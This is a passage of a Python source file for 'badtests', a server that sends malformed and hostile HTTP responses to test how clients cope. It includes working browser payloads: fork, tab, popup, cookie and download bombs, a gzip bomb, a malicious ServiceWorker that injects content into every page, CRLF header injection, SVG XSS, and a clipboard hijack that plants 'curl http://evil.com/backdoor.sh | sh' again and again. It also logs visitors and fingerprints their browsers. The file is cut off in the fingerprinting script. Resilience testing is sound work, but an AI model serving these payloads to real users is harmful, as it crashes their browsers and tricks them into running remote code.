Files
badtests/badtests.py

928 lines
54 KiB
Python

#!/usr/bin/env python3
'''badtests - malicious HTTP response server with a web UI for testing client resilience'''
import http.server, socketserver, random, string, html, time, gzip, io, json, threading
PORT = 60666
# --- Pre-generated payloads ---
_gzbuf = io.BytesIO()
with gzip.GzipFile(fileobj=_gzbuf, mode='wb', compresslevel=9) as _gzf:
_gzf.write(b'\x00' * 10_000_000)
GZIP_BOMB = _gzbuf.getvalue()
SAFE_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#22c55e" rx="8"/><text x="100" y="60" fill="white" font-size="32" font-family="monospace" text-anchor="middle">SAFE</text></svg>'
EVIL_SVG = b'<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100"><rect width="200" height="100" fill="#ef4444" rx="8"/><text x="100" y="60" fill="white" font-size="28" font-family="monospace" text-anchor="middle">HACKED</text></svg>'
VISITOR_LOG = []
LOG_LOCK = threading.Lock()
TESTS = [
# (path, title, description)
# --- Content-Length Abuses ---
('/cl-word', 'Content-Length: banana', 'Content-Length set to a word. Python accepts it, curl rejects.'),
('/cl-empty', 'Content-Length: (empty)', 'Empty Content-Length header. Python accepts, curl rejects.'),
('/cl-negative', 'Content-Length: -99999999999999999', 'Massive negative Content-Length. Python accepts, curl rejects.'),
('/cl-huge', 'Content-Length: 99999999999999999', 'Claims ~100 petabytes. Both accept. curl reports remaining bytes.'),
('/cl-zero', 'Content-Length: 0 (body sent)', 'CL is 0 but server sends "surprise!". Both read 0 bytes. Wire shows body was sent.'),
('/cl-float', 'Content-Length: 3.14159', 'Float CL. curl truncates to 3 (returns "hel"). Python ignores it, returns all 5 bytes.'),
('/cl-hex', 'Content-Length: 0xDEAD', 'Hex CL. curl treats as 0 (empty body). Python ignores it, returns all 5 bytes.'),
('/cl-null', 'Content-Length: 5\\x00', 'Null byte after digit. curl rejects (Nul byte in header). Python accepts silently.'),
('/cl-negative-one', 'Content-Length: -1', 'Simple negative CL. curl rejects, Python accepts.'),
('/cl-nan', 'Content-Length: NaN', 'NaN as CL. curl rejects, Python accepts.'),
('/cl-inf', 'Content-Length: Infinity', 'Infinity as CL. curl rejects, Python accepts.'),
('/cl-mismatch', 'Content-Length: 1 (body is 30 bytes)', 'CL says 1, body is 30 bytes. Both read exactly 1 byte. Extra data poisons keep-alive.'),
# --- Content-Type Abuses ---
('/ct-garbage', 'Content-Type: 200 random chars', 'Random printable chars with \\n \\r \\t. Accidental CRLF injection. Different every time.'),
('/ct-multi', 'Content-Type: 5 MIME types', 'Comma-separated MIME types. Both accept. RFC says only one allowed.'),
('/ct-empty', 'Content-Type: (empty)', 'Empty Content-Type. Both accept without complaint.'),
('/ct-null', 'Content-Type: text/\\x00html', 'Null byte in MIME type. curl rejects, Python accepts with null present.'),
('/ct-emoji', 'Content-Type: 💀/🔥', 'Emoji MIME type. Both accept. Violates HTTP/1.1 ASCII requirement.'),
('/ct-mega', 'Content-Type: 10KB long', '10,000 A characters. Both accept. No header length limit enforced.'),
('/ct-crlf', 'Content-Type with CRLF injection', '🚨 CRITICAL: Injects X-Injected: true header via CRLF in Content-Type value. Works on BOTH.'),
('/ct-semicolon', 'Content-Type with 50 charset params', '50 repeated ;charset=utf-8 params. Both accept. Parser could waste cycles.'),
# --- Status Code Abuses ---
('/status-neg', 'Status: -1', 'Negative status code. Both reject.'),
('/status-zero', 'Status: 0', 'Zero status code. Both reject.'),
('/status-999', 'Status: 999', 'Out-of-range 3-digit status. Both accept. RFC defines 100-599 only.'),
('/status-huge', 'Status: 99999', '5-digit status code. Both reject.'),
('/status-word', 'Status: BANANA', 'Non-numeric status. Both reject.'),
# --- Header Abuses ---
('/hdr-mega-name', 'Header name: 64KB of As', 'curl accepts (no limit). Python rejects (LineTooLong >65536 bytes).'),
('/hdr-mega-val', 'Header value: 1MB of Bs', 'Both reject. Python hits 64KB line limit. curl chokes on 1MB buffer.'),
('/hdr-1000', '1000 headers', 'curl accepts all 1000. Python rejects (>100 headers).'),
('/hdr-empty-name', 'Header: : empty_name', 'Empty header name. Both accept. Violates RFC 7230.'),
('/hdr-no-colon', 'Header without colon', 'curl rejects. Python silently drops the malformed line and continues.'),
('/hdr-dup-cl', 'Duplicate Content-Length: 5 and 999', '🚨 CRITICAL: Smuggling vector. curl uses second CL (999). Python sees both.'),
('/hdr-null', 'Header with null bytes', 'curl rejects (Nul byte in header). Python accepts, drops the null header.'),
('/hdr-newline', 'Header with bare \\n', 'curl rejects (Header without colon). Python treats as line folding.'),
# --- Body Abuses ---
('/body-endless', 'Infinite body stream', '⚠️ WARNING: Streams 1KB/sec forever. Use --max-time. Neither client protects against this.'),
('/body-none', 'Content-Length: 5, no body', 'Promises 5 bytes, sends 0. curl reports transfer closed. Python returns empty, no error.'),
('/body-binary', '4KB binary as text/html', 'Random binary with text/html Content-Type. Both accept. No content validation.'),
# --- Transfer-Encoding Abuses ---
('/te-invalid', 'Transfer-Encoding: banana', 'Unknown TE. Both accept and ignore it. RFC says this should be an error.'),
('/te-double', 'Content-Length + Transfer-Encoding', '🚨 CRITICAL: Smuggling vector. curl prefers CL, Python prefers TE. Clients disagree.'),
('/te-bad-chunk', 'Chunked with ZZZ chunk size', 'Invalid hex in chunk size. Both correctly reject.'),
# --- Protocol Abuses ---
('/proto-garbage', '512 random bytes (no HTTP)', 'Pure garbage. Both reject.'),
('/proto-empty', 'Empty response (0 bytes)', 'Server closes immediately. Both reject.'),
('/proto-half', 'HTTP/9.9 version', 'Unknown HTTP version. Both reject.'),
('/proto-no-headers', 'Status line + body, no headers', 'Zero headers. Both accept. Valid in HTTP/1.0 but violates HTTP/1.1.'),
('/proto-just-newlines', 'Response is just \\r\\n\\r\\n\\r\\n', 'Only blank CRLF lines. Both reject.'),
# --- Encoding Abuses ---
('/enc-utf16', 'Body is UTF-16, header says UTF-8', 'Mismatched encoding. Both accept raw bytes. Consuming app would decode garbage.'),
('/enc-gzip-lie', 'Content-Encoding: gzip (plaintext body)', 'Claims gzip, sends plaintext. Both accept without decompressing by default.'),
# --- Redirect Abuses ---
('/redir-self', '301 → /redir-self (loop)', 'Infinite redirect loop. curl follows up to --max-redirs. Python http.client does not follow.'),
('/redir-garbage', '301 → \\x00\\xff://💀:99999/../../etc/passwd', 'Garbage URL with null bytes, emoji, bad port, path traversal. curl rejects, Python accepts (SSRF risk).'),
('/redir-chain', '302 → /redir-chain?n=N+1 (infinite unique chain)', 'Infinite redirect with unique URLs each hop. Defeats redirect loop detection. curl follows --max-redirs (default 50).'),
# --- Timing Abuses ---
('/slow-headers', 'Slowloris: 1 byte per 0.5s headers', '⚠️ WARNING: Hangs until timeout. Classic slowloris attack.'),
('/slow-body', 'Body: 1 byte per second (a-z)', '⚠️ WARNING: Takes 26 seconds without timeout.'),
# --- HTML/Content Abuses ---
('/html-utf16', 'Full HTML page encoded as UTF-16LE', 'Title and body encoded as UTF-16LE but served as text/html with no charset. Browser/parser gets mojibake.'),
('/html-long-title', 'HTML title is 1000 characters', 'Absurdly long &lt;title&gt; tag (1000 A chars). Tests tab/title bar handling in browsers and parsers.'),
('/html-multiline-title', 'HTML title with embedded newlines', 'Title contains literal \\n characters. Some parsers collapse whitespace, others preserve. Tab bars get weird.'),
('/html-irc-title', 'Title with \\r\\nQUIT :reason injection', '🚨 CRITICAL: IRC protocol injection via HTML title. If an IRC bot fetches and relays this title, the QUIT/PRIVMSG could be injected into the IRC stream.'),
('/html-unicode', 'Random unicode (U+1000 to U+3000) title and body', 'Title and body filled with random Myanmar, Ethiopic, Devanagari, CJK chars. Different every request.'),
('/html-meta-refresh', 'Meta refresh loop (0 second)', '⚠️ WARNING: Page reloads itself every 0 seconds via meta tag. Infinite reload loop. Browser tab goes crazy.'),
# --- Terminal Abuses ---
('/ansi-chaos', 'ANSI escape code nightmare', '⚠️ WARNING: Clears screen, hides cursor, changes window title, blink text, random cursor positioning. Will wreck your terminal.'),
# --- JavaScript Browser Abuses ---
('/js-alert', 'Infinite alert() loop', '⚠️ WARNING: Opens alert dialogs in an infinite loop. Browser tab becomes unresponsive. Must force-kill tab.'),
('/js-history', 'History flood (50,000 entries)', '⚠️ WARNING: Pushes 50,000 entries to browser history. Back button becomes useless. Browser may lag.'),
('/js-download', 'Download bomb (200 files)', '⚠️ WARNING: Triggers 200 simultaneous file downloads via Blob URLs. Browser download manager explodes.'),
('/js-clipboard', 'Clipboard hijack', '🚨 CRITICAL: Silently replaces clipboard content with a malicious shell command every 100ms. Paste at your own risk.'),
('/js-forkbomb', 'JavaScript fork bomb', '⚠️ WARNING: Spawns infinite Web Workers and recursive iframes. CPU/RAM will spike. Browser may crash.'),
('/js-webgl', 'WebGL GPU killer', '⚠️ WARNING: Runs an extremely heavy fragment shader in a tight render loop. GPU usage spikes to 100%. May freeze display.'),
('/js-audio', 'Audio oscillator hell', '⚠️ WARNING: Creates 20 oscillators at random frequencies changing 10x per second at max volume. Extremely loud.'),
('/js-popup', 'Popup storm (100 windows)', '⚠️ WARNING: Attempts to open 100 popup windows at random positions. Most browsers block after the first.'),
('/js-cookie', 'Cookie bomb (3000 cookies)', '🚨 CRITICAL: Sets 3000 cookies. Future requests to this server include ~12MB of Cookie headers. May DoS the server.'),
('/js-beforeunload', 'Unescapable page (beforeunload)', '⚠️ WARNING: Traps you with a beforeunload dialog every time you try to leave. Also opens itself in new tabs.'),
('/js-tabbomb', 'Tab bomb with audio + downloads', '🚨 CRITICAL: Rapidly opens new tabs in a loop. Each tab auto-plays random oscillator audio with visualizer and spams file downloads. Will overwhelm your browser.'),
('/js-serviceworker', 'ServiceWorker hijack', '🚨 CRITICAL: Registers a ServiceWorker that intercepts ALL future requests to this origin and injects content.'),
# --- Image/File Abuses ---
('/img-bait', 'Image bait-and-switch', 'Shows a green "SAFE" image on the page. Download link gives you a red "HACKED" image. Same server, different file.'),
('/img-svg-xss', 'SVG with embedded JavaScript', '🚨 CRITICAL: Serves an SVG image with an embedded <script> tag. If rendered as image/svg+xml, JS executes. XSS via image file.'),
('/img-polyglot', 'GIF/JS polyglot file', '🚨 CRITICAL: Valid GIF89a image that is also valid JavaScript. Can be loaded as both <img> and <script>.'),
# --- Network Abuses ---
('/net-gzip-bomb', 'Gzip bomb (~10KB → 10MB)', '⚠️ WARNING: ~10KB gzip response that decompresses to 10MB of zeros. Clients with auto-decompress will allocate 10MB.'),
('/net-event-flood', 'SSE event flood (infinite)', '⚠️ WARNING: Server-Sent Events stream that fires events as fast as possible forever. EventSource will buffer infinitely.'),
('/net-mime-sniff', 'MIME type confusion (JS as image/jpeg)', '🚨 CRITICAL: Serves JavaScript code with Content-Type: image/jpeg. If browser MIME-sniffs, the JS executes. Tests X-Content-Type-Options enforcement.'),
('/net-cache-poison', 'Contradicting cache headers', 'Every cache header contradicts every other: no-cache + max-age=999999, public + private, future Last-Modified, wildcard Vary.'),
('/net-hsts-bomb', 'HSTS with insane max-age', '🚨 CRITICAL: Sets Strict-Transport-Security with max-age=999999999 and includeSubDomains. Browser will force HTTPS for 31 years.'),
# --- Miscellaneous ---
('/misc-ipv4', 'Shows your connecting IPv4 address', 'Reflects the client IP from the TCP connection. Use -4 flag with curl to force IPv4.'),
('/misc-ipv6', 'Shows your connecting IPv6 address', 'Reflects the client IP. Server must be reachable over IPv6. Connect to [::1] for loopback IPv6.'),
('/fingerprint', 'Browser fingerprinting demo', 'Collects and displays 25+ browser fingerprinting vectors: canvas, WebGL, fonts, timezone, CPU, memory, touch, audio, etc.'),
]
CATEGORIES = [
('Content-Length Abuses', '/cl-'),
('Content-Type Abuses', '/ct-'),
('Status Code Abuses', '/status-'),
('Header Abuses', '/hdr-'),
('Body Abuses', '/body-'),
('Transfer-Encoding Abuses', '/te-'),
('Protocol Abuses', '/proto-'),
('Encoding Abuses', '/enc-'),
('Redirect Abuses', '/redir-'),
('Timing Abuses', '/slow-'),
('HTML/Content Abuses', '/html-'),
('Terminal Abuses', '/ansi-'),
('JavaScript Browser Abuses','/js-'),
('Image/File Abuses', '/img-'),
('Network Abuses', '/net-'),
('Miscellaneous', '/misc-'),
('Special Pages', '/fingerprint'),
]
def build_index():
h = '''<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>☠ badtests — HTTP response abuse tester</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:'SF Mono',Consolas,'Liberation Mono',Menlo,monospace;font-size:14px;line-height:1.6;padding:20px 40px}
h1{color:#f85149;font-size:24px;margin-bottom:4px}
h1 span{font-size:14px;color:#484f58;font-weight:normal}
h2{color:#58a6ff;font-size:18px;margin:30px 0 12px;padding-bottom:6px;border-bottom:1px solid #21262d}
.desc{color:#8b949e;font-size:13px;margin-bottom:20px}
.toc{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px 20px;margin:20px 0}
.toc-title{color:#58a6ff;font-size:15px;margin-bottom:8px;font-weight:bold}
.toc ul{list-style:none;columns:2;column-gap:24px}
.toc li{padding:2px 0}
.toc a{color:#c9d1d9;text-decoration:none;font-size:13px}
.toc a:hover{color:#58a6ff;text-decoration:underline}
.toc .count{color:#484f58;font-size:12px}
.card{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px;margin-bottom:16px}
.card:hover{border-color:#58a6ff}
.card h3{margin:0 0 4px}
.card h3 a{color:#58a6ff;text-decoration:none}
.card h3 a:hover{text-decoration:underline}
.card .note{color:#8b949e;font-size:13px;margin-bottom:10px}
.critical .note{color:#f85149}
.label{display:inline-block;font-size:11px;padding:1px 6px;border-radius:10px;margin-left:8px;vertical-align:middle}
.label-crit{background:#f8514922;color:#f85149;border:1px solid #f85149}
.label-warn{background:#d2992222;color:#d29922;border:1px solid #d29922}
code{color:#e6edf3}
.special{margin:20px 0;padding:12px 16px;background:#161b22;border:1px solid #f85149;border-radius:6px}
.special a{color:#f85149;font-weight:bold;text-decoration:none}
.special a:hover{text-decoration:underline}
footer{margin-top:40px;padding-top:16px;border-top:1px solid #21262d;color:#484f58;font-size:12px}
footer a{color:#484f58;text-decoration:none}
footer a:hover{color:#58a6ff;text-decoration:underline}
</style>
</head><body>
<h1>☠ badtests <span>— malicious HTTP response server</span></h1>
<p class="desc">Each endpoint returns a deliberately malformed HTTP response to test client resilience.<br>
Click any endpoint to hit it directly.</p>
<div class="special">📋 <a href="/logs">/logs</a> — View all visitor IPs, user agents, headers, and timestamps</div>
'''
# Build table of contents
h += '<div class="toc"><div class="toc-title">Table of Contents</div><ul>\n'
for cat_name, prefix in CATEGORIES:
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
if not tests_in_cat:
continue
anchor = cat_name.lower().replace(' ', '-').replace('/', '-')
h += f'<li><a href="#{html.escape(anchor)}">{html.escape(cat_name)}</a> <span class="count">({len(tests_in_cat)})</span></li>\n'
h += '</ul></div>\n'
for cat_name, prefix in CATEGORIES:
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
if not tests_in_cat:
continue
anchor = cat_name.lower().replace(' ', '-').replace('/', '-')
h += f'<h2 id="{html.escape(anchor)}">{html.escape(cat_name)}</h2>\n'
for path, title, desc in tests_in_cat:
crit = '🚨' in desc
warn = '⚠️' in desc
cls = ' critical' if crit else ''
label = ''
if crit:
label = '<span class="label label-crit">CRITICAL</span>'
elif warn:
label = '<span class="label label-warn">WARNING</span>'
h += f'''<div class="card{cls}">
<h3><a href="{html.escape(path)}">{html.escape(path)}</a> — {html.escape(title)}{label}</h3>
<div class="note">{html.escape(desc)}</div>
</div>
'''
h += f'''<footer>
☠ badtests — {len(TESTS)} endpoints on port {PORT}<br>
made by <a href="https://git.supernets.org/acidvegas/badtests">acidvegas</a>
</footer>
</body></html>'''
return h.encode()
# --- JavaScript page payloads ---
JS_ALERT = b'''<!DOCTYPE html><html><head><title>alert() loop</title></head><body>
<h1>Infinite alert() loop</h1><p>You cannot dismiss this.</p>
<script>while(true)alert('You cannot close me. Attempt #'+Math.random().toString(36))</script>
</body></html>'''
JS_HISTORY = b'''<!DOCTYPE html><html><head><title>History flood</title></head><body>
<h1>Injecting 50,000 history entries...</h1><p id="s"></p>
<script>
let n=50000;for(let i=0;i<n;i++)history.pushState({},'','/history-flood-'+i);
document.getElementById('s').textContent='Done. '+n+' entries pushed. Your back button is dead.';
document.title='50,000 history entries - try pressing back';
</script></body></html>'''
JS_DOWNLOAD = b'''<!DOCTYPE html><html><head><title>Download bomb</title></head><body>
<h1>Triggering 200 simultaneous downloads...</h1>
<script>
for(let i=0;i<200;i++){let a=document.createElement('a');
a.href=URL.createObjectURL(new Blob(['BADTESTS_PAYLOAD_'+i+'_'+Math.random()]));
a.download='badtests_payload_'+i+'.txt';document.body.appendChild(a);a.click();}
</script></body></html>'''
JS_CLIPBOARD = b'''<!DOCTYPE html><html><head><title>Clipboard hijack</title></head><body>
<h1>Your clipboard has been hijacked</h1>
<p>Every 100ms your clipboard is overwritten. Try pasting somewhere.</p>
<p style="color:red;font-family:monospace;font-size:18px">curl http://evil.com/backdoor.sh | sh</p>
<script>
setInterval(()=>{try{navigator.clipboard.writeText('curl http://evil.com/backdoor.sh | sh')}catch(e){
document.execCommand&&(document.oncopy=function(e){e.clipboardData.setData('text/plain','curl http://evil.com/backdoor.sh | sh');e.preventDefault()})
}},100);
</script></body></html>'''
JS_FORKBOMB = b'''<!DOCTYPE html><html><head><title>Fork bomb</title></head><body>
<h1>Fork bomb activated</h1><p id="c">Workers: 0 | Iframes: 0</p>
<script>
let wc=0,ic=0;
function boom(){
try{let w=new Worker(URL.createObjectURL(new Blob(
['let x=0;setInterval(()=>{for(let i=0;i<1e6;i++)x+=Math.random();postMessage(x)},1)'],
{type:'application/javascript'})));wc++;w.onmessage=()=>{}}catch(e){}
let f=document.createElement('iframe');f.src='about:blank';f.style.display='none';
document.body.appendChild(f);ic++;
try{f.contentWindow.document.write('<script>setInterval(()=>{for(let i=0;i<1e6;i++)Math.random()},1)<\\/script>')}catch(e){}
document.getElementById('c').textContent='Workers: '+wc+' | Iframes: '+ic;
setTimeout(boom,50);
}
boom();
</script></body></html>'''
JS_WEBGL = b'''<!DOCTYPE html><html><head><title>WebGL GPU killer</title></head><body>
<h1>WebGL GPU stress test</h1>
<canvas id="c" width="1920" height="1080" style="width:100%;height:80vh"></canvas>
<script>
let gl=document.getElementById('c').getContext('webgl');
if(!gl){document.body.innerHTML='<h1>WebGL not supported</h1>';}else{
let vs=gl.createShader(gl.VERTEX_SHADER);
gl.shaderSource(vs,'attribute vec4 p;void main(){gl_Position=p;}');
gl.compileShader(vs);
let fs=gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(fs,`precision highp float;
uniform float t;
void main(){
float x=gl_FragCoord.x/1920.0,y=gl_FragCoord.y/1080.0,v=0.0;
for(int i=0;i<5000;i++){
v+=sin(x*float(i)*0.01+t)*cos(y*float(i)*0.01+t*0.7);
v+=tan(v*0.001)*0.001;
}
gl_FragColor=vec4(sin(v),cos(v*0.5),sin(v*0.3+t),1.0);
}`);
gl.compileShader(fs);
let prog=gl.createProgram();gl.attachShader(prog,vs);gl.attachShader(prog,fs);gl.linkProgram(prog);gl.useProgram(prog);
let buf=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,buf);
gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,1,-1,-1,1,1,1]),gl.STATIC_DRAW);
let p=gl.getAttribLocation(prog,'p');gl.enableVertexAttribArray(p);gl.vertexAttribPointer(p,2,gl.FLOAT,false,0,0);
let tl=gl.getUniformLocation(prog,'t');
let start=Date.now();
function render(){gl.uniform1f(tl,(Date.now()-start)/1000);gl.drawArrays(gl.TRIANGLE_STRIP,0,4);requestAnimationFrame(render);}
render();
}
</script></body></html>'''
JS_AUDIO = b'''<!DOCTYPE html><html><head><title>Audio hell</title></head><body>
<h1>Audio Oscillator Hell</h1><p>20 oscillators at random frequencies. Click anywhere to start (autoplay policy).</p>
<script>
document.addEventListener('click',function start(){
document.removeEventListener('click',start);
let ctx=new(window.AudioContext||window.webkitAudioContext)();
for(let i=0;i<20;i++){
let o=ctx.createOscillator(),g=ctx.createGain();
o.type=['sine','square','sawtooth','triangle'][i%4];
o.frequency.value=100+Math.random()*15000;
g.gain.value=0.15;
o.connect(g);g.connect(ctx.destination);o.start();
setInterval(()=>{o.frequency.value=100+Math.random()*15000;},50+Math.random()*200);
}
document.querySelector('h1').textContent='AUDIO HELL ACTIVE - 20 OSCILLATORS';
document.querySelector('h1').style.color='red';
});
</script></body></html>'''
JS_POPUP = b'''<!DOCTYPE html><html><head><title>Popup storm</title></head><body>
<h1>Popup Storm</h1><p id="s">Attempting to open 100 popup windows...</p>
<script>
let opened=0,blocked=0;
for(let i=0;i<100;i++){
let w=window.open('about:blank','popup_'+i,'width=150,height=100,left='+Math.floor(Math.random()*screen.width)+',top='+Math.floor(Math.random()*screen.height));
if(w){opened++;try{w.document.write('<body style=background:hsl('+i*3.6+',100%,50%)><h3>'+i+'</h3>')}catch(e){}}else{blocked++;}
}
document.getElementById('s').textContent='Opened: '+opened+' | Blocked: '+blocked;
</script></body></html>'''
JS_COOKIE = b'''<!DOCTYPE html><html><head><title>Cookie bomb</title></head><body>
<h1>Cookie Bomb</h1><p id="s">Setting cookies...</p>
<script>
let n=0;
for(let i=0;i<3000;i++){
try{document.cookie='bomb_'+i+'='+'X'.repeat(4000)+';path=/';n++;}catch(e){break;}
}
document.getElementById('s').innerHTML='<strong style=color:red>'+n+' cookies set!</strong><br>'+
'Your next request to this server will include ~'+Math.round(n*4/1024)+'KB of Cookie headers.<br>'+
'To clear: open DevTools > Application > Cookies > Delete all';
</script></body></html>'''
JS_BEFOREUNLOAD = b'''<!DOCTYPE html><html><head><title>You can never leave</title></head><body>
<h1 style="color:red">You can never leave this page</h1>
<p>Every attempt to close or navigate away triggers a confirmation dialog.</p>
<p>Also opening copies of itself in new tabs every 3 seconds.</p>
<script>
window.onbeforeunload=function(e){e.preventDefault();return e.returnValue='Are you sure you want to leave?';};
setInterval(()=>{document.title='TRAPPED - '+new Date().toLocaleTimeString();},1000);
let tabCount=0;
setInterval(()=>{if(tabCount<5){try{window.open(location.href);tabCount++;}catch(e){}}},3000);
</script></body></html>'''
JS_TABBOMB = b'''<!DOCTYPE html><html><head><title>TAB BOMB ACTIVE</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:monospace;overflow:hidden}
h1{color:#f85149;text-align:center;padding:10px;font-size:18px}
#stats{color:#d29922;text-align:center;font-size:14px;padding:4px}
canvas{display:block;width:100%;height:calc(100vh - 60px)}
</style></head><body>
<h1>TAB BOMB - OSCILLATOR SCOPE + DOWNLOAD SPAM</h1>
<p id="stats">Tabs: 0 | Downloads: 0 | Oscillators: 0</p>
<canvas id="scope"></canvas>
<script>
// --- Auto-play random oscillator audio with scope visualization ---
let actx,oscillators=[],analyser,dataArr,canvas,ctx;
try{
actx=new(window.AudioContext||window.webkitAudioContext)();
analyser=actx.createAnalyser();
analyser.fftSize=2048;
dataArr=new Uint8Array(analyser.frequencyBinCount);
let types=['sine','square','sawtooth','triangle'];
for(let i=0;i<8;i++){
let o=actx.createOscillator(),g=actx.createGain();
o.type=types[i%4];
o.frequency.value=80+Math.random()*12000;
g.gain.value=0.08;
o.connect(g);g.connect(analyser);g.connect(actx.destination);
o.start();
oscillators.push(o);
setInterval(()=>{o.frequency.value=80+Math.random()*12000;o.type=types[Math.floor(Math.random()*4)];},30+Math.random()*150);
}
}catch(e){}
// Force resume AudioContext (bypass autoplay policy)
function forceAudio(){if(actx&&actx.state!=='running')actx.resume();requestAnimationFrame(forceAudio);}
forceAudio();
// Also try on any user gesture
['click','touchstart','keydown','mousemove','scroll'].forEach(evt=>{
document.addEventListener(evt,()=>{if(actx&&actx.state!=='running')actx.resume();},{once:false});
});
// --- Oscilloscope visualization ---
canvas=document.getElementById('scope');
ctx=canvas.getContext('2d');
function resize(){canvas.width=window.innerWidth;canvas.height=window.innerHeight-60;}
resize();window.onresize=resize;
let hue=0;
function drawScope(){
requestAnimationFrame(drawScope);
if(!analyser)return;
analyser.getByteTimeDomainData(dataArr);
ctx.fillStyle='rgba(13,17,23,0.15)';
ctx.fillRect(0,0,canvas.width,canvas.height);
hue=(hue+0.5)%360;
ctx.lineWidth=2;
ctx.strokeStyle='hsl('+hue+',100%,60%)';
ctx.beginPath();
let sl=canvas.width/dataArr.length;
for(let i=0;i<dataArr.length;i++){
let v=dataArr[i]/128.0,y=v*canvas.height/2;
if(i===0)ctx.moveTo(0,y);else ctx.lineTo(i*sl,y);
}
ctx.stroke();
// second pass with frequency data for extra chaos
let freqData=new Uint8Array(analyser.frequencyBinCount);
analyser.getByteFrequencyData(freqData);
ctx.strokeStyle='hsl('+((hue+180)%360)+',100%,50%)';
ctx.beginPath();
for(let i=0;i<freqData.length;i++){
let y=canvas.height-(freqData[i]/255)*canvas.height;
if(i===0)ctx.moveTo(0,y);else ctx.lineTo(i*sl,y);
}
ctx.stroke();
}
drawScope();
// --- Tab bomb: rapidly open new tabs ---
let tabCount=0,dlCount=0;
function bombTabs(){
try{window.open(location.href,'_blank');tabCount++;}catch(e){}
document.getElementById('stats').textContent='Tabs: '+tabCount+' | Downloads: '+dlCount+' | Oscillators: '+oscillators.length;
setTimeout(bombTabs,50+Math.floor(Math.random()*200));
}
setTimeout(bombTabs,300);
// --- Download spam loop ---
function spamDownloads(){
for(let i=0;i<5;i++){
try{
let a=document.createElement('a');
a.href=URL.createObjectURL(new Blob([Math.random().toString(36).repeat(500)]));
a.download='bomb_'+Date.now()+'_'+Math.floor(Math.random()*99999)+'.txt';
document.body.appendChild(a);a.click();document.body.removeChild(a);
dlCount++;
}catch(e){}
}
document.getElementById('stats').textContent='Tabs: '+tabCount+' | Downloads: '+dlCount+' | Oscillators: '+oscillators.length;
setTimeout(spamDownloads,200+Math.floor(Math.random()*500));
}
setTimeout(spamDownloads,500);
document.title='TAB BOMB #'+Math.floor(Math.random()*99999);
</script></body></html>'''
JS_SERVICEWORKER = '''<!DOCTYPE html><html><head><title>ServiceWorker hijack</title></head><body>
<h1>ServiceWorker Registration</h1><p id="s">Attempting to register ServiceWorker...</p>
<script>
if('serviceWorker' in navigator){
navigator.serviceWorker.register('/sw.js').then(r=>{
document.getElementById('s').innerHTML='<span style=color:red>ServiceWorker registered! Scope: '+r.scope+'</span><br>All future fetches to this origin will be intercepted.';
}).catch(e=>{document.getElementById('s').textContent='Failed: '+e.message;});
}else{document.getElementById('s').textContent='ServiceWorker not supported';}
</script></body></html>'''.encode()
SW_JS = b'''// Malicious ServiceWorker - intercepts all fetches
self.addEventListener('install', e => self.skipWaiting());
self.addEventListener('activate', e => e.waitUntil(clients.claim()));
self.addEventListener('fetch', e => {
if(e.request.url.includes('/sw.js')) return;
e.respondWith(
fetch(e.request).then(r => {
if(r.headers.get('content-type')?.includes('text/html')){
return r.text().then(body =>
new Response(body + '<div style="position:fixed;bottom:0;left:0;right:0;background:red;color:white;padding:8px;text-align:center;z-index:999999;font-family:monospace">INTERCEPTED BY MALICIOUS SERVICEWORKER</div>', {headers:r.headers})
);
}
return r;
}).catch(() => new Response('ServiceWorker intercepted and blocked this request', {status:200}))
);
});'''
FINGERPRINT_HTML = b'''<!DOCTYPE html><html><head><meta charset="utf-8">
<title>Browser Fingerprint</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#c9d1d9;font-family:monospace;padding:20px 40px;font-size:14px}
h1{color:#f85149;margin-bottom:20px}
table{border-collapse:collapse;width:100%}
td{padding:6px 12px;border-bottom:1px solid #21262d}
td:first-child{color:#58a6ff;width:250px;font-weight:bold}
td:last-child{color:#7ee787;word-break:break-all}
canvas{display:none}
</style></head><body>
<h1>Browser Fingerprint</h1>
<table id="t"></table>
<canvas id="cv" width="200" height="50"></canvas>
<script>
let t=document.getElementById('t');
function add(k,v){let r=t.insertRow();r.insertCell().textContent=k;r.insertCell().textContent=String(v);}
add('User Agent',navigator.userAgent);
add('Platform',navigator.platform);
add('Language',navigator.language);
add('Languages',navigator.languages?.join(', '));
add('Timezone',Intl.DateTimeFormat().resolvedOptions().timeZone);
add('Timezone Offset',new Date().getTimezoneOffset()+' min');
add('Screen',screen.width+'x'+screen.height+' @'+devicePixelRatio+'x');
add('Available Screen',screen.availWidth+'x'+screen.availHeight);
add('Color Depth',screen.colorDepth+' bit');
add('CPU Cores',navigator.hardwareConcurrency);
add('Memory (GB)',navigator.deviceMemory||'N/A');
add('Max Touch Points',navigator.maxTouchPoints);
add('Cookies Enabled',navigator.cookieEnabled);
add('Do Not Track',navigator.doNotTrack);
add('Online',navigator.onLine);
add('PDF Viewer',navigator.pdfViewerEnabled);
add('Webdriver',navigator.webdriver);
add('Connection Type',navigator.connection?.effectiveType||'N/A');
add('Downlink',navigator.connection?.downlink||'N/A');
try{let cv=document.getElementById('cv'),cx=cv.getContext('2d');
cx.textBaseline='top';cx.font='14px Arial';cx.fillStyle='#f60';cx.fillRect(0,0,200,50);
cx.fillStyle='#069';cx.fillText('Browser fingerprint!',2,15);
cx.fillStyle='rgba(102,204,0,0.7)';cx.fillText('Canvas test',4,30);
add('Canvas Hash',cv.toDataURL().slice(0,80)+'...');}catch(e){add('Canvas','Error: '+e);}
try{let c=document.createElement('canvas'),g=c.getContext('webgl')||c.getContext('experimental-webgl');
if(g){add('WebGL Vendor',g.getParameter(g.VENDOR));
add('WebGL Renderer',g.getParameter(g.RENDERER));
let d=g.getExtension('WEBGL_debug_renderer_info');
if(d){add('GPU Vendor',g.getParameter(d.UNMASKED_VENDOR_WEBGL));
